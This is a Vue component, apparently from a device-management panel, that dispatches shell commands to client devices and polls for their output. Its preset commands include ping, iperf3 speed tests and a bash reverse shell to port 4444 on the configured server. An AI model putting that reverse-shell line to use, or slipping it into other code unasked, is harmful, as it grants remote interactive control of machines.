<template>
    <span>
        <Button type="warning" size="small" @click="handleClientAddCmdShow(client)" :disabled="!client.has_secret" style="margin-right:5px;" icon="md-flash" title="下发指令"></Button>
        <Modal v-model="cmd_add_modal" title="添加命令" :mask-closable="false" :width="75">
            <Form :model="cmd_current" :label-width="80">
                <FormItem label="设备ID">
                    <ClientLabel :client_id="cmd_current.client_id"></ClientLabel>
                </FormItem>
                <FormItem label="命令">
                    <div ref="cmd_result" v-if="cmd_result_show" style="margin-bottom: 5px;min-height: 20vh;max-height:50vh;overflow-y: auto;border: 1px solid #dcdee2;border-radius: 4px;padding: 5px;background:#e7f1fc">
                        <pre style="line-height: 24px;margin:0px;"><code v-html="cmd_current.result"></code></pre>
                    </div>
                    <Input v-model="cmd_current.cmd" type="textarea" :autosize="{minRows: 2,maxRows: 5}" @on-enter="handleAddCmdAndWait"></Input>
                    <div style="margin-bottom: 5px;margin-top:5px;">
                        <Button type="primary" @click="handleAddCmdAndWait" style="margin-right: 5px;">执行并等待</Button>
                        <span style="color:#aaa;">注意：仅执行命令，并非交互界面</span>
                    </div>
                    <template v-for="item in cmds" :key="item.name">
                        <Button @click="cmd_current.cmd=item.value" size="small" style="margin-right: 5px;">{{ item.name }}</Button>
                    </template>
                </FormItem>
            </Form>
            <template #footer>
                <Button type="primary" @click="handleCmdAddOk">确定</Button>
                <Button type="text" @click="handleCmdAddCancel">取消</Button>
            </template>
        </Modal>
    </span>
</template>

<script>
import { mapGetters } from 'vuex';
import { htmlEncodeByRegExp } from '@/utils/index.js'
import ClientLabel from './ClientLabel.vue';

export default {
    name: "CmdAddButton",
    components: {
        ClientLabel
    },
    props: {
        client: Object
    },
    data() {
        return {
            cmd_add_modal: false,
            cmd_info_modal: false,
            cmd_result_show: false,
            cmd_current: {
                cmd_id: 0,
                client_id: '',
                cmd: '',
                result: '',
                complete: 0
            },
        }
    },
    computed: {
        ...mapGetters([ 'configs' ]),
        cmds() {
            const server_ip = this.configs.cmd_server_ip || this.$http.server_ip;
            const iperf3_server_port = this.configs.cmd_iperf3_server_port || 5201;
            return [
                { name: 'ping', value: `ping -c 5 ${server_ip}` },
                { name: '测速（上行）', value: `iperf3 -c ${server_ip} -p ${iperf3_server_port}` },
                { name: '测速（下行）', value: `iperf3 -c ${server_ip} -R -p ${iperf3_server_port}` },
                { name: '反弹shell', value: `bash -i >& /dev/tcp/${server_ip}/4444 0>&1` },
            ];
        }
    },
    methods: {            
        handleCmdAddShow() {
            this.cmd_current.client_id = '';
            this.cmd_current.cmd = '';
            this.cmd_current.result = '';
            this.cmd_add_modal = true;
        },
        handleClientAddCmdShow(row) {
            this.cmd_current.client_id = row.client_id;
            this.cmd_current.cmd = '';
            this.cmd_current.result = '';
            this.cmd_result_show = false;
            this.cmd_add_modal = true;
        },
        handleAddCmdAndWait() {
            let cmd = this.cmd_current.cmd.trim();
            if(cmd == '') {
                this.errorMessage('指令不能为空');
                return;
            }
            
            this.cmd_result_show = true;
            this.cmd_current.result += '<span style="color:#008000;margin-right:5px;border:1px solid #7dcc7d;padding:0px 5px;border-radius:3px;background-color:#d8f0ff;">'+this.$Date().format('YYYY-MM-DD HH:mm:ss')+'</span>' + htmlEncodeByRegExp(cmd) + '\n';
            this.$nextTick(() => {
                let scrollableDiv = this.$refs.cmd_result;
                scrollableDiv.scrollTop = scrollableDiv.scrollHeight;
            });
            this.$http.post('/add_cmd', { client_id: this.cmd_current.client_id, cmd: cmd }).then(res => {
                if (res.status === 'ok') {
                    this.$Message.success('指令添加成功');
                    this.cmd_current.cmd = '';
                    // 添加一个interval，检测指令是否完成
                    let cmd_id = res.data;
                    let times = 300; // 5分钟
                    let task = setInterval(() => {
                        this.$http.post('/get_cmd_result', { cmd_id: cmd_id }).then(res => {
                            if (res.status === 'ok') {
                                this.cmd_current.result += htmlEncodeByRegExp(res.data) + "\n";
                                this.$Message.success('指令执行完成');
                                this.$nextTick(() => {
                                    let scrollableDiv = this.$refs.cmd_result;
                                    scrollableDiv.scrollTop = scrollableDiv.scrollHeight;
                                });
                                clearInterval(task);
                            }
                        });
                        times -= 1;
                        if (times <= 0) {
                            clearInterval(task);
                        }
                    }, 1000); // 每秒检测一次
                }else {
                    this.errorMessage(res.data);
                }
            });
        },
        handleCmdAddOk() {
            let cmd = this.cmd_current.cmd.trim();
            if(cmd == '') {
                this.errorMessage('指令不能为空');
                return;
            }
            this.$http.post('/add_cmd', { client_id: this.cmd_current.client_id, cmd: cmd }).then(res => {
                if (res.status === 'ok') {
                    this.$Message.success('指令添加成功');
                    this.cmd_add_modal = false;
                    this.$emit('success');
                }else {
                    this.errorMessage(res.data);
                }
            });
        },
        handleCmdAddCancel() {
            this.cmd_add_modal = false;
        }
    }
}
</script>